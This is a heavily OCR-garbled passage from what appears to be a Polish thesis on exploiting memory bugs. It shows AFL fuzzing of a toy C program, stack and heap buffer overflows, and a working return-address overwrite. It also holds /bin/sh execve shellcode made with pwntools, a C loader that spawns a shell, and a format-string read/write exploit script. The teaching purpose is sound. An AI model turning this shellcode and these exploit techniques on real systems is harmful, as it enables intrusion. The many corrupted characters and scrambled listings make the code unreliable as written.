
27

28

#include <stdio.h>

#define LEN 10

typedef struct Person {
int age;
char buf [LEN];
int (xhello) (const charx);

} Person;

void person_get_age (Person* p) {
char buf [LEN];
scanf ("%$s", buf);

p—>age = atoi (buf);

int main(void) {

Person p = {0, {0}, puts};

scanf ("%s", p.buf);

person_get_age (&p) ;

if (p.age > 30)

printf (p.buf);
else

p.hello(p.buf);

return O;
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now trying
stage execs
total execs
exec speed

byte flips
arithmetics
known ints
dictionary
havoc
trim

— process timing
run time

last new path
last uniq crash
last uniq hang

— cycle progress
now processing
paths timed out
— stage progress

(exec)

: none seen yet

: 2 (50.00%)
: 0 (0.00%)

: splice 15

: 31/32 (96.88%)
: 281k

1 2295/sec

— fuzzing strategy yields
bit flips :

: @ days, ® hrs, 1 min, 58 sec
: ® days, ©® hrs, 1 min, 9 sec
: @ days, ® hrs, 1 min, 3 sec

overall result
cycles done :
total paths :
unig crashes :
uniq hangs :

5
188
4
6
[¢]

map coverage

map density :
count coverage :
findings in depth

favored paths :
new edges on :
total crashes :
total tmouts :

0.01% / 0.02%
1.29 bits/tuple

3 (75.00%)

3 (75.00%)

24.5k (6 unique)
® (@ unique)

1/224, 17220, B/212

: 0/28, 0/24, 0/16

: 0/1561,

0/584, 0/102

: /133, 0/583, 0/691
: /0, 0/0, 0/0

: 6/187k, ©/88.7k

: 33.33%/6, 0.00%

path geometry
levels : 2
pending : ©
pend fav : @
own finds : 2
imported : n/a
stability : 188.

00%

[cpubBO

: 30%]

Rysunek 7.2. Zrzut ekranu z dzialania AFLa na programie z listingu 7.8. Jak mozna zauwazy¢ program

pokazuje wiele informacji — czas wykonania (ang. run time), obecnie wykorzystywana strategie (pole now

trying), liczbe $ciezek w programie (ang. total paths), liczbe unikalnych blednych zakonczeii programu

(unique crashes) czy liczbe uruchomieni fuzzowanej aplikacji na sekunde (exec speed).
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(pwn) [dc@dc:fuzzing]| 1$ hexdump output dir/crashes/id\:000001\,s5ig\:06%,src\:000001\,op\:havocy,
rep\:64

0000000 cPae cOC2 0031 POOO 0P40 e803 ffee ffff

0000010 ddff 000e 40c® 0035 2000 fffa dfdf dfdf

0000020 dfdf dfdf dfdf dfdf dfdf dfdf dfdf dfdf

0000030 dfdf dfdf dfdf dfdf dfdf dfdf 4ece

000003e
(pwn) [dc@dc:fuzzing]| 1% cat output dir/crashes/id\:000001\,sig\:06%,src\:000001\,op\:havocy\, rep\
:64 | ./exec

==19284==ERROR: AddressSanitizer: stack-buffer-overflow on address @xffd22cba at pc 0xf799ae7a bp oxffd22
cl8 sp oxffdz227de
WRITE of size 37 at oxffd22cba thread TO

#0 0xf799ae79 in scanf_common /build/gcc-multilib/src/gcc/libsanitizer/sanitizer common/sanitizer com
mon_interceptors format.inc:341

#1 0xf799b961 in _ interceptor_  isoc99 vscanf /build/gcc-multilib/src/gcc/libsanitizer/sanitizer com
mon/sanitizer common_interceptors.inc:1194

#2 0xf799b9d9 in _ interceptor_  isoc99 scanf /build/gcc-multilib/src/gcc/libsanitizer/sanitizer comm
on/sanitizer common_interceptors.inc:1215

#3 0x5662bld4 in person get age /home/dc/Projects/master-thesis/examples/fuzzing/main.c:12

#4 ©x5662acba in main /home/dc/Projects/master-thesis/examples/fuzzing/main.c:20

#5 0xf777d7¢2 in _ libc start main (/usr/1ib32/libc.so0.6+0x187c2)

#6 0x5662b00T (/home/dc/Projects/master-thesis/examples/fuzzing/exec+0x100T)

Address 0xffd22cba is located in stack of thread Te at offset 42 in frame
#0 0x5662b12f in person get age /home/dc/Projects/master-thesis/examples/fuzzing/main.c:10

This frame has 1 object(s):
[32, 42) 'buf' <== Memory access at offset 42 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /build/gcc-multilib/src/gcc/libsanitizer/sanitizer commo
n/sanitizer common_ interceptors format.inc:341 in scanf_common
Shadow bytes around the buggy address:
0x3ffad4540: 00 00 0O 0D PO OO OO OO OO OO OO 00 00 00 00 60
0x3ffad4550: 00 00 0O 0D 0D 0D OO OO OO OO OO 00 00 00 00 00
0x3ffad4560: 00 0P 0O OO 0D 0D OO OO OO OO OO 00 OO0 00 00 60
0x3ffad4570: 00 00 0O 0D PO OO OO OO OO OO OO 00 00 00 00 60
0x3ffad4580: 00 00 0O 0D PO 0D OO OO OO OO OO 00 OO0 00 00 00
==0x3ffad4590: 00 00 f1 f1 f1 f1 ee[ez]fz f2 00 60 00 00 00 6O
0x3ffad45a0: 00 00 00 00 00 00 f1 f1 f1 f1 00 60 04 f2 00 60
0x3ffad45b0: 00 00 0O 0P OO OO OO OO OO OO OO 00 00 00 00 60
0x3ffad45cO: 00 00 0O 0D PO OO OO OO OO OO OO 00 00 00 00 60
0x3ffad45d0: 00 0P 0O 0O PO OO OO OO OO OO OO 00 00 00 00 60
0x3ffad45e0: 00 00 0O 0D 0D OO OO OO OO OO OO 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable: []:]

Partially addressable: 81 02 03 @4 05 @6 07
Heap left redzone: fa

Freed heap region: fd

Stack left redzone: f1

Stack mid redzone: f2

Rysunek 7.3. Wejscie wygenerowanym przez AFL oraz dziatanie aplikacji z listingu 7.8 operujacej
na tych danych. Wejscie zostalo przedstawione programem hexdump, gdyz zawiera ono niedrukowalne

bajty.
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8.1. Przepelnienie bufora

Przepelienie bufora (ang. buffer overflow lub buffer overrun) to btad programistyczny po-
zwalajacy na zapisanie do wyznaczonego obszaru pamieci (bufora) wiekszej ilosci danych niz
jest on w stanie pomiesci¢. W konsekwencji nadpisywane sa komorki pamieci znajdujace sie za
buforem, co moze spowodowaé¢ zmiane dziatania programu.

Tego typu bledy wystepuja czesto w programach napisanych w jezykach C oraz C++ gdyz nie
maja one wbhudowanych mechanizmoéw zabezpieczajacych przed takimi sytuacjami jak na przy-
klad sprawdzenie zakresu (ang. bounds checking) indeksu tablicy.

Blad tego typu mozna spowodowaé nie sprawdzajac, czy dane kopiowane z jednego bufora
do drugiego zmieszcza sie w nim. Takg sytuacje zaprezentowano na listingu 8.1.

Po kompilacji programu poleceniem gcc main.c -Wall -Wextra -Wpedantic oraz

uruchomieniu, na wyjéciu dostaniemy:

Name: Key, Cost: 10 (Oxa)
Raw bytes = 4B 65 79 00 00 00 00 00 OA 00 00 00

-— copying name --—

Name: 6-sided die, Cost: 6646116 (0x656964)
Raw bytes = 36 2D 73 69 64 65 64 20 64 69 65 00

Jak mozna zauwazy¢ wartos$¢ pola cost zostala zmieniona pomimo tego, iz nie jest ono bezposred-
nio zmieniane. Przepelnienie bufora nastapito w linii 22 poprzez wykorzystanie funkcji strcpy.
Funkcja ta nie sprawdza czy bufor docelowy pomiesci ciag znakéw kopiowany do niego. W tabeli
8.1 zaprezentowano wartosci kolejnych komorek pamieci, w ktérych znajduje sie zmienna item

przed oraz po wykonaniu linii 22.

8.1.1. Przepelnienie bufora na stosie

Gdy wystepuje przepelnienie bufora na stosie atakujacy moze zmodyfikowaé inne zmienne,
ktére znajduja sie na stosie lub tez dane kontrole takie jak adres powrotu z funkcji. Kompilatory
staraja sie zabezpieczaé¢ programiste przed takimi sytuacjami zmieniajac kolejnos¢ zmiennych
na stosie lub tez wprowadzajac ciastko bezpieczenstwa, zwane tez kanarkiem na stosie. Metody

te zostaly opisane w sekcji 5.2. Zabezpieczenia te sa jedynie préba wykrycia lub zlagodzenia
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10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

Tabela 8.1. Komérki pamigci zmiennej item w programie z listingu 8.1 przed oraz po wykonaniu linii 22.

Wartosci zostaly zapisane szesnastkowo. Znak \0 odpowiada wartosci 0, a ,,’

negatywnych skutkéw przepelnienia bufora. Nie zawsze sa one w stanie odpowiednio poméoc —

przyktadowo w programie z listingu 8.1 bufor name znajduje sie na stosie, ale ze wzgledu na to,

#inc
#include

#include

Listing 8.1. Program prezentujacy przepelnienie bufora.

~lude <stdio.h>

<string.h>

<stdint.h>

typedef struct Item {

char name([8];

int cost;

} Item;

void print_item(Item* item)

int

)

%$s, Cost:
")

i<sizeof (Item);

((uint8_t«+)item) [1]);

printf ("Name:
printf ("Raw bytes =
for(size_t 1=0; ++1)
printf ("$02hhXx ",

printf ("\n");

main () {

Item item = {"Key", 10};
print_item(&item) ;

printf ("\n-- copying name —--\n\n");

strcpy (item.name, "6-sided die");

print_item(&item);

{
%d (0x%x)\n", item->name, item->cost, item—>cost);

r”

to spacja.

Przed przepelnieniem bufora

Pole char name[8]

Pole int cost

Zmnaki/liczba | K e 'y N0 \O \O \O \O 10
Wartosé 4B 65 79 00 00 00 00 0O 0A 00 00 00
Po przepelnieniu bufora
Pole char name[8] Pole int cost
Znaki 6 - s i 4 e 4 |4 1 e \O
Bajty 36 2D 73 69 64 65 64 20 64 69 65 00

ze jest polem struktury kompilator nie moze przenie$¢ go za pole cost.
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8.1.2. Nadpisanie adresu powrotu

Wykorzystujac btad przepelnienia buforu mozna zmienié¢ adres powrotu, pod ktéry skoczy
program podczas wychodzenia z funkcji. Oczywiscie w momencie gdy dana funkcja zabezpieczona
jest kanarkiem na stosie, warto$¢ te trzeba w jaki$ sposéb poznaé, na przyklad znajdujac inny
blad w programie umozliwiajacy czytanie pamieci spod dowolnego adresu oraz poprzez poznanie
adresu stosu [44][45].

Na listingu 8.2 zaprezentowano przyklad przepelnienia bufora na stosie. Na jego pod-
stawie pokazane zostanie jak mozna wykorzysta¢ ten blad do zmiany dziatania programu.
Przedstawiony kod zostal skompilowany bez zabezpieczenia przed przepelnieniem bufora (flaga
—-fno-stack-protector) oraz bez randomizacji adreséw kodu — PIE (flaga —no-pie).
Pelne polecenie kompilacji to gcc -Wall -Wextra —-fno-stack-protector —-no-pie

main.c.

Listing 8.2. Program przedstawiajacy przepelnienie bufora na stosie. Funkcja win nie jest wykonywana

przez program. Wykorzystujac btad mozna sprawi¢, aby zostala ona wykonana.

~lude <stdio.h>

lude <string.h>

4 void win() { puts("You won!"); }

6 void vuln (charx s) {

7 char buf[8]; // bufor na stosie

8 puts ("Copying buffer...");

9 strcpy (buf, s); // przepeinienie bufora na stosie

10 }

11

12  int main(int argc, charx argv[]) {

13 vuln(argv([1l]); // zmieniajac adres powrotu z vuln,

14 puts ("Bye!"); // program moze nigdy nie wypisac "bye"

15 }

Na listingu 8.3 zaprezentowano program po deasemblacji. Jak mozna zauwazy¢, ramka stosu
ma 32 bajty, a adres bufora docelowego — dest — znajduje sie pod adresem RBP-0x8. Podczas
wychodzenia z funkcji wykonywane jest 1eave oraz ret, co oznacza, ze najpierw Sciggany ze stosu
jest zapisany adres poczatku stosu (zapisana warto$¢ rejestru RBP z funkcji main), a nastepnie
adres powrotu.

W konsekwencji, aby spowodowaé¢ blad i zmieni¢ Sciezke wykonania programu na funkcje
win, nalezy podaé¢ do niego pierwszy argument zawierajacy kolejno:

e Osiem bajtow, ktore wypetnia bufor buf — beda to znaki ’A’.

e Osiem bajtow, ktore wypelnia rejestr RBP, gdy program wykona instrkcje 1eave. Rejestr
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ten nie jest wymagany do prawidtowego dziatania funkcji win, ktéra chcemy wykonaé, stad
tez w jego miejsce przekazane zostana znaki 'B’.

e Osiem bajtow nowego adresu powrotu — musi to by¢ adres funkcji win.

Listing 8.3. Zdeasemblowany kod programu z listingu 8.2 przez program IDA Pro.

public vuln ; nagidwek tworzony przez IDA Pro

vuln proc near ; nagiowek tworzony przez IDA Pro

; zmienne lokalne znajdujace sie na stosie - argumenty strcpy

src= gword ptr -18h ; pod adresem RBP-0x18 znajduje sie src - adres zZrodiowy
dest= byte ptr -8 ; pod adresem RBP-0x8 znajduje sie dest — adres docelowy
push rbp ; prolog funkcji

mov rbp, rsp ; prolog funkcji

sub rsp, 20h ; alokacja 32 bajtow ramki stosu

mov [rbpt+src], rdi ; kopiowanie argumentu do RBP+src

lea rdi, aCopyingBuffer_ , "Copying buffer..."

call _puts

; przygotowanie argumentow do strcpy

mov rdx, [rbptsrc] ; skopiowanie adresu Zrddia do RDX

lea rax, [rbp+dest] ; Skopiowanie adresu docelowego do RAX
mov rsi, rdx ; RSI = src

mov rdi, rax ; RDI = dest

call _strcpy

nop

leave ; pobranie ze stosu zapisanego RBP
retn ; powrdt z funkciji

Adres funkcji win mozna poznaé wykorzystujac readel f:

$ readelf --symbols ./a.out | grep win
57: 0000000000400567 19 FUNC GLOBAL DEFAULT 13 win

Jak mozna zobaczyé¢ adres ten to 0x40057a. Ponizej przedstawiono wykorzystanie btedu przy
uzyciu krotkiego skryptu jezyka Python wypisujacego kolejne bajty. Adres funkcji win zostat
zapisany jako \x67\x05\x40, gdyz nie wszystkie jego bajty sa znakami drukowalnymi oraz nalezy

pamietaé, ze musi on zostaé zapisany w little endian.

$ ./a.out $(python -c 'import sys; sys.stdout.write("A"+8 + "B"x8 + "\x67\x05\x40")')
Copying buffer...
You won!

Segmentation fault (core dumped)
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8.1.3. Przepelnienie bufora na stercie

Podczas przepelienia bufora znajdujacego sie na stercie nie da sie w tak tatwy sposob
zmienié¢ $ciezki wykonania programu, jak w przypadku przepelnienia bufora na stosie. Sterta —
alokowana dynamicznie — wykorzystywana jest gtéwnie do przechowywania danych programu.
Poza nimi, zawiera ona réwniez wewnetrzne struktury alokatora pamieci, ktéry uzywany jest
do alokacji oraz dealokacji danych. Przepelniajac bufor na stercie mozna nadpisa¢ te struktury,
doprowadzajac do zmiany dzialania programu.

Przyktad takiego dzialania zostal zaprezentowany na listingu 8.4.

Listing 8.4. Program, w ktérym mozna spowodowaé przepelnienie bufora na stercie.

1  #include <stdlib.h>

2 #include <string.h>

4 int main(int argc, charx argv[]) {

5 char+ buf = malloc(sizeof (char) * 8); // alokacja buforu na stercie
6 strcpy (buf, argv(l]); // niebezpieczne wykorzystanie strcpy
7 free (buf);

Jak mozna zobaczy¢ na ponizszym listingu, przekazujac do programu zbyt diugi ciag —
na przyktad o dtugosci 32 bajtéw — nadpisywane sa wewnetrzne struktury alokatora. Ta sytu-
acja jest wykrywana przez funkcje free, ktéra konczy dziatanie programu. Listing zostal skro-
cony, gdyz wyjécie programu zawierato réwniez tak zwany backtrace, czyli liste kolejnych funkcji

w ktorych znajdowal sie program podczas wystapienia bledu oraz mape pamieci (ang. memory

map).

$ ./a.out $(python -c "print('a' x 32)")

*xx Error in "~ ./a.out': free(): invalid next size (fast): 0x00005610f201b010 xx*x*
/o))

Aborted (core dumped)

8.2. Shellcode

Pojeciem shellcode okresla sie kod maszynowy, ktéry poprzez wykorzystanie btedu w aplikacji
umieszcza sie w jej pamieci wykonywalnej, w celu pézniejszego wykonania tego shellcode-u.

Wigkszoéé shellcode-6w jest pisanych w celu zdobycia kontroli nad maszyna przez urucho-
mienie powloki (ang. shell) np. /bin/sh na systemach Linux. Stad tez pochodzi nazwa tej
techniki [46].

Przyktadowy shellcode wywolujacy powloke /bin/sh dla 32-bitowych programéw w syste-

mie Linux mozna zobaczy¢ na listingu 8.5. Przedstawiony kod wykonuje wywolanie systemowe
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execve, ktére podmienia obecny obraz procesu na obraz nowo uruchamianego programu.

Listing 8.5. Shellcode wygenerowany poprzez funkcje pwn.shellcraft.i386.1inux.sh () z biblioteki
pwntools do jezyka Python. Autorzy pwntools staraja sie, aby w miare mozliwosci shellcode-y nie zawie-

raly niektérych wartosci bajtéw — na przyklad bajtu zerowego®.

; Shellcode wykonujacy: execve (path='/bin///sh', argv=['sh'], envp=0)
; Zgodnie z konwencja wywotan kolejne argumenty musza by¢ w EBX, ECX, EDX

; Odklada na stos *arncucha znakdéw '/bin///sh\x00'
push 0x68

push 0x732f2f2f

push 0x6e69622f

; Pobranie adresu odlozonego %aricucha do rejestru EBX
; (jest to argument “path’)

mov ebx, esp

; Odktada na stos ciag 'sh\x00\x00' - pierwszy element tablicy argumentow
; Poprzez odlozenie 0x1010101 i operacje XOR z 0x1016972

push 0x1010101

xor dword ptr [esp], 0x1016972

; Odktada na stos 0 - drugi element tablicy argumentdw
XOr ecx, ecx ; Zeruje rejestr ECX
push ecx ; Odktada 0 na stos

; Sprawia, zeby rejestr ECX wskazywal na pierwszy element tablicy

push 4 ; Pdktada 4 na stos

pop ecx ; Pobiera 4 do rejestru ECX

add ecx, esp ; Oblicza ECX += ESP

push ecx ; Odktada ECX (wskazZnik na tablice) na stos
mov ecx, esp ; Pobiera adres tablicy do ECX

; Zeruje rejestr EDX - argument “envp’

xor edx, edx

; Wywoiluje execve

push 11 ; Odktada numer wywotania systemowego execve na stos
pop eax ; Pobiera ten numer do rejestru EAX
int 0x80 ; Wykonuje wywotanie systemowe

*Gdyz moze to sprawiaé¢ problemy z przekazaniem shellcode-u do programu przez niektére funkcje.

Wywotanie takiego shellcode-u zostato pokazane na listingu 8.8 na podstawie programu
napisanego w jezyku C zaprezentowanego na listingu 8.7. Zostal on skompilowany jako 32-bitowy

program z wylaczeniem ochrony pamieci przed wykonaniem (bitu NX). Sam shellcode zostal
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skompilowany oraz zamieniony na forme binarna poprzez wykorzystanie jezyka Python oraz

modutu pwntools co zostalo zaprezentowane na listingu 8.6.

Listing 8.6. Interaktywna sesja IPython przedstawiajaca kompilacje oraz zamiane shellcode tak, by moéc

go wykorzysta¢ w jezyku C.

1 In [1]: import pwn

2 In [2]: shellcode = pwn.shellcraft.i386.1linux.sh{()

3 In [3]: shellcode_string = pwn.asm(shellcode, arch='i386', os='linux"')

4 In [4]: print(','.join (map (hex, map (ord, shellcode_string))))

5 0Oxo6a,0x68,0x68,0x2f,0x2f,0x2f,0x73,0x68,0x2f,0x62,0x69,0x6e,0x89, 0xe3,0x68,0x1,
6 0Ox1,0x1,0x1,0x81,0x34,0x24,0x72,0x69,0x1,0x1,0x31,0xc9,0x51,0x6a,0x4,0x59,0x1,
7 0Oxel,0x51,0x89,0xel,0x31,0xd2,0x6a,0xb,0x58, 0xcd, 0x80

Listing 8.7. Program wykonujacy shellcode z listingu 8.5.

1 #include <stdio.h>

2 #include <stdint.h>

4 uint8 t shellcode[] = {

5 Ox6a,0x68,0x68,0x2f,0x2f,0x2f,0x73,0x68,0x2f,0x62,0x69,0x6e, 0x89,
6 0Oxe3, 0x68,0x1,0x1,0x1,0x1,0x81,0x34,0x24,0x72,0x69,0x1,0x1,0x31,
7 0xc9,0x51, 0x6a,0x4,0x59,0x1,0xel,0x51,0x89,0xel, 0x31,0xd2,0x6a,
8 Oxb, 0x58, 0xcd, 0x80};

9

10 int main() {

11 // rzutowanie pamieci na wskaZnik na funkcje

12 // oraz wykonanie jej

13 puts ("[x] Before running shellcode");

14 ((void (*) (void) ) shellcode) ();

15

16 // program nigdy nie wykona ponizszego kodu, gdyz

17 // wywolanie systemowe execve podmienia caty proces

18 puts("[*] After running shellcode");

19 }
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Listing 8.8. Kompilacja oraz uruchomienie programu z listingu 8.7.

$ gcc -m32 -z execstack ./main.c
$ ./a.out

[*] Before running shellcode
sh-4.4$ echo "Yay we got shell"
Yay we got shell

sh-4.4$ exit

$

8.3. ,,Zjezdzalnia NOP6w”

sZjezdzalnia NOPéw” (ang. nop sled) to technika polegajaca na umieszczeniu sekwencji in-
strukcji nop (dla przypomnienia instrukcja ta jest instrukcja pusta — nie wykonuje zadnej czyn-
nosci) przed wlasciwym shellcode-m. Wykorzystuje si¢ ja na przyklad wtedy, gdy nie znamy do-
ktadnego adresu w pamieci gdzie znajdzie sie nasz shellcode, ale mozemy probowaé zmodyfikowaé
1-2 bajty adresu powrotu zapisanego na stosie, tak, aby skierowa¢ program na bufor, w ktérym
znajduje sie shellcode. Ulatwia to znacznie trafienie na dobry adres w pamieci. Po wskoczeniu do
»zjezdzalni” program wykona instrukcje nop, a nastepnie caty kod przygotowanego shellcode-a.

Schemat dzialania tej techniki zostal zaprezentowany na obrazie 8.1.

NOP ... NOP | shellcode | - adres powrotu

Rysunek 8.1. Przykladowy schemat dzialania techniki nop sled — atakujacy zmienia adres powrotu, aby

wskoczyé na ,zjezdzalnie NOpow”.

8.4. Bledy zwigzane z tancuchem formatujgcym

FLancuch formatujacy to ciag znakéw przekazywanych do funkcji na przyklad w celu wypi-
sania przekazanych jej parametrow w okreslony sposob.

Bledy zwiazane z tanuchami formatujacymi (ang. format string bugs) polegaja na przeka-
zaniu do funkcji tancucha formatujacego pochodzacego z niezaufanego zrédta. Wystepuja one
gltownie w jezyku C, gdyz funkcje z biblioteki standardowej nie sprawdzaja czy liczba specyfika-
toréow formatéw znajdujacych sie w tancuchu formatujacym jest zgodna z liczba przekazanych
parametrow [47].

Przyktadem funkcji podatnych na ten btad sg te z rodziny print £, ktére stuzg do wypisywania

lub zapisywania sformatowanych danych:
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e int printf(const char sformat, ...); — na standardowe wyjscie.
e int fprintf (FILE *stream, const char «format, ...); —do pliku okreslonego wskazni-

kiem na strukture FILE.

e int dprintf(int fd, const char =format, ...); — do pliku okreslonego deskryptorem
pliku.

e int sprintf (char xstr, const char xformat, ...); — do bufora str.

e int snprintf (char xstr, size_t size, const char «format, ...); — do bufora str

wpisujac maksymalnie size bajtow.
W tabeli 8.2 przedstawiono wybrane specyfikatory formatu, ktére mozna wykorzysta¢ w tancu-
chu formatujgcym. Podczas uzywania nalezy je poprzedza¢ znakiem %.
Na listingu 8.9 przedstawiono kod programu, ktéry blednie wykorzystuje funkcje printf —

przekazujac jej tancuch znakéw pobrany z standardwego wejscia.

Tabela 8.2. Wybrane specyfikatory formatu.

Specyfikator formatu Wyjaénienie

d Liczba catkowity ze znakiem — int
u Liczba catkowity bez znaku — unsigned

% Liczba typu unsigned w formacie szesnastkowym; wielka li-
’ tera powoduje wypisanie wielkich liter.

1x, 1X Liczba typu unsigned long w formacie szesnastkowym.

il Liczba zmiennoprzecinkowa typu £loat.
s Lancuch znakéw pobrany spod przekazanego wskaznika.
. Zapisze dotychczasowo wypisana (lub zapisana) liczbe baj-

téw pod podany adres.

Jak mozna zobaczy¢ na listingu 8.10, podajac tancuch zawierajacy kolejne specyfikatory
formatu, funkcja printf wypisuje kolejne wartosci w ktérych mozna réowniez odnalezé zmienne
secret, c, b oraz s — zostaly one pogrubione na ponizszym listingu. Na zielono zaznaczono
wejscie do programu, a na czerwono to, co wypisala funkcja printf.

Drzieje sie tak poniewaz funkcja printf dla kolejnych specyfikatoréw formatu wykorzystuje
kolejng wartos¢ ze stosu. Co prawda zgodnie z konwencja wywotan dla 64-bitowych programoéow
na systemie Linux pierwsze 5 argumentow tej funkcji jest przekazywanych przez rejestry, lecz sa

one wewnatrz niej kopiowane na stos. Mozna to zobaczy¢ na listingu 8.11.
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Listing 8.9. Program w ktérym lancuch formatujacy pochodzi z niezaufanego zrédta — od uzytkow-

nika. Zostal on skompilowany poleceniem gcc main.c. Stowo kluczowe volatile zostalo uzyte, aby

kompilator nie wyoptymalizowal lub usunal zmiennych.

1 #include <stdio.h>

3 int main() {

4 char buf[256];

5 volatile int secret = 0x444F4F47;

6 printf ("secret address = %p, value=0x%X\n", &secret, secret);
7

8 while (printf ("\nProvide input: ") && fgets (buf, sizeof (buf), stdin) !=
9 volatile charx s = "hello";

10 volatile int b = 0xBBBBBBBB;

11 volatile int ¢ = 0xCCCCCCCC;

12

13 printf (buf);

14

15 if (secret == 0x1337) {

16 puts ("Secret changed to 0x1337!");

17 return 0;

18 }

19 }

20}

Listing 8.10. Wypisywanie kolejnych wartosci ze stosu w programu z listingu 8.9 poprzez przekazanie

odpowiedniego tanicucha formatujacego.

$ ./a.out
secret address = 0x7ffd838a38fc, value=0x444F4Fr47

Provide input: $1X %$1X %1X %1X $1X $1X $1X $1X $1X $1X $1X %$1X
TFFD838A3910 T7F7AE2F646F0 1 55EO0A3F58450 7F7AE3142480 0 444F4F4700000000

CCCCCCCCBBBBBBBB 55E0A2B33949 20586C2520586C25 20586C2520586C25 20586C2520586C25
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Listing 8.11. Kopiowanie rejestréw przez funkcje printf na stos (oznaczone na czerwono). Wklejka
pochodzi z debugowania programu z listingu 8.9 przy uzyciu GDB wraz z dodatkiem Pwndbg. Debugger

znajduje sie zaraz po wejsciu do procedury linkujacej — print f@plt.

—-> 0x555555554650 <printf@plt> Jjmp qword ptr [rip + 0x2009ca] <O0x7ffff7a844b0>

0x7ff£f£f7a844b0 <printf> sub rsp, 0xd8

0x7ffff7a844b7 <printf+7> test al, al

0x7f£ff£f7a844b9 <printf+9> mov gword ptr [rsp + 0x28], rsi

Ox7ffff7a844be <printf+14> mov gword ptr [rsp + 0x30], rdx

O0x7ffff7a844c3 <printf+19> mov gword ptr [rsp + 0x38], rcx

0x7ffff7a844c8 <printf+24> mov gword ptr [rsp + 0x40], r8

Ox7ffff7a844cd <printf+29> mov gword ptr [rsp + 0x48], r9

0x7ffff7a844d2 <printf+34> je printf+91 <Ox7ff£f£7a8450b>
O0x7f£f£f£7a8450b <printf+91> mov rax, gword ptr fs:[0x28]

Ox7fff£f7a84514 <printf+100> mov gword ptr [rsp + 0x18], rax

8.4.1. Rozszerzenie pozwalajace odczytac¢ element o zadanym numerze

Jak mozna bylo zauwazy¢ wczedniej, jesteSmy w stanie wypisa¢ wartosci kolejnych zmien-
nych lokalnych, ktére znajduja si¢ w funkcji main. Inng ciekawa technika jest wykorzystanie
rozszerzenia specyfikatorow formatu pochodzacego z systeméw UNIX. Pozwala ono na wypisa-
nie elementu o danym numerze [48]. Robi si¢ to poprzez zapis $X$Y, gdzie x to numer elementu
(rozpoczynajac od 1), a v to dany specyfikator formatu.

Wykorzystanie tej techniki zostalo zaprezentowane na listingu 8.12. Co mogto by¢ wczesniej
niejasne, pogrubiona wczedniej wartos¢ 55E0A2B33949 — znajdujaca si¢ na numerze dziewiatym
— jest warto$ciag zmiennej s, gdyz wypisanie tego elementu jako tancuch znakéw, wypisuje ,,hello”.
Jak mozna zobaczy¢ na przedstawionym listingu, na dziesigtym elemencie zaczyna sie bufor,

do ktérego pobierane sa kolejne linie.

8.4.2. Czytanie z oraz pisanie pod prawie dowolny adres w pamieci procesu

Wykorzystujac fakt, ze bufor do ktérego piszemy znajduje si¢ na stosie, istnieje mozliwos¢ czy-
tania oraz zapisywania pamieci niemalze z dowolnego adresu — ograniczaja nas jedynie znaki, kto-
rych nie da si¢ wpisa¢ do bufora. W tym przypadku jest to znak nowej linii — \n — czyli bajt OxA
— poniewaz to po jego odebraniu funkcja fgets przestaje wczytywaé kolejne znaki.

Czytanie pamieci moze odby¢ sie poprzez wpisanie do bufora danego adresu, a potem wy-
pisanie danych spod tego adresu wykorzystujac format na przyktad $11$s. Zapis do pamieci
mozna wykona¢ poprzez wpisanie do bufora adresu, nastepnie wypisanie odpowiedniej liczby

bajtéw oraz wykorzystanie ciagu formatujacego na przykiad $hhn.
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Listing 8.12. Wykorzystanie rozszerzenia do specyfikatoréw formatu, ktére pozwala na wypisanie ele-
mentu o danym numerze na stosie. W przyktadzie nieprzypadkowo wypisano element dziesiaty ze stosu
— jak mozna wnioskowaé¢, wypisywany jest poczatek bufora, do ktérego wpisywane jest wejécie do pro-
gramu. Na zielono oznaczono ciag wpisywany na standardowe wejscie, a na czerwono to, co wypisala

funkcja printf.

$ ./a.out
secret address = 0x7ffdc3ff90dc, value=0x444F4F47

Provide input: %$9S1x %9$s
55df80dd8949 hello

Provide input: XXXXXXXX <- bufor Jjest na 10 miejscu (znak 'X' to 0x58): %$10$1X
XXXXXXXX <- bufor jest na 10 miejscu (znak 'X' to 0x58): 5858585858585858

Takie wykorzystanie lancuchéw formatujacych zostalo zaprezentowane w skrypcie z li-
stingu 8.13. W celu latwiejszego zrozumienia dzialania skryptu, do programu z li-
stingu 8.9 dodano przed instrukcje warunkowa if wypisywanie zmiennej secret —
printf ("\nSecret is 0x%x\n", secret);. Wynik skryptu mozna zobaczy¢ na listingu 8.14. Po-
przez wykorzystanie btedu wypisany zostat tancuch znakéw znajdujacy sie pod adresem zmiennej

secret 1. Udalo sie réwniez zmieni¢ wartoéé tej zmiennej wykorzystujac specyfikator formatu n.

"'Wartodé 0x444F4F47 to ciag ,,GOOD” zapisany w little endian — a zatem kolejne bajty ulozone sg od lewej
do prawej — 0x44 to ,,D”, 0x4F to ,,0”, a 0x47 to ,,G”. Kolejnos¢ utozenia danych w pamieci zostala wyjasniona

w sekcji 2.7.
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Listing 8.13. Skrypt prezentujacy odczytywanie oraz pisanie pod dany adres przy uzyciu lancuchu

formatujacego. Skrypt zostal napisany w jezyku Python 2.7. Wykorzystuje on modut pwntools.

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

#!/usr/bin/env python2
# —-x— coding: utf-8 -x-

from pwn import x # Import biblioteki pwntools

p = process('./a.out')
# Czytamy wiadomos$¢ programu az do wypisywania adresu zmiennej " secret’

p.recvuntil ('secret address = ')

# Odbieramy oraz konwertujemy na liczbe adres zmienne]j " secret’
secret = int(p.recvuntil(',"')[:-1], 16)

) o

print ("Adres secret: 0x%x, Jjako string='%s'" % (secret, p64(secret)))

Czytamy dane do moment az proces prosi o wejscie

.recvuntil ('Provide input: ")

el

Tworzymy format, ktéry wypisze pamiedé spod adresu zmiennej " secret'
jako tancuch znakdéw. Adres umieszczany jest na koricu, gdyz moze zawierad
bajty zerowe, przez co printf skonczy wypisywaé¢ pamiecd.

Wazne, aby string znajdujacy sie przed adresem miat wielokrotnos¢ 8 bajtdw,

= H FH H= FH

aby dany numer elementu - np. 11$ odnosit sie doktadnie do przekazywanego adresu.

fmt = '">%113$s <' + p64(secret)

# Wysytamy tancuch formatujacy do procesu
p.sendline (fmt)

print ("Received:\n{}\n".format (p.recv()))

## Nadpiszemy zmienna secret wartodcia 0x1337 - nalezy ja wpisad w little endian
A zatem do kolejnych komérek pamieci wpiszemy bajty: 37 13 00 00
